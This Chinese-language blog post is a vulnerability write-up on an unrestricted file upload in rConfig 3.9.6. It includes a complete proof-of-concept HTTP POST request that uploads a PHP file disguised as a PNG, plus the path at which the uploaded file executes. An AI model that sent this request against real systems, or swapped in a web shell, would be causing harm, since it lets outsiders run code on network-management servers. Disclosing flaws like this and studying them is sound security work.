rConfig 3.9.6 文件上传

rConfig 存在文件上传

rConfig是一个开放源码的网络设备配置管理实用工具,用于网络工程师对网络设备的配置。

代码审计

/lib/crud/vendors.crud.php

可以看到只白名单了type类型和大小限制

漏洞复现

POC:

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Content-Length: 491
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Origin: https://xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWpMXK6WIANv7xtCd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://xx.xx.xx.xx/vendors.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=27bdb13b82eac5dab1a420d9699474ca

------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorName"

111
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorLogo"; filename="111.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="add"

add
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="editid"

------WebKitFormBoundaryWpMXK6WIANv7xtCd--

访问上传的文件/images/vendor/111.php

  • 发表于 2021-07-02 10:03:48
  • 阅读 ( 6153 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
c0nfig
c0nfig

4 篇文章

站长统计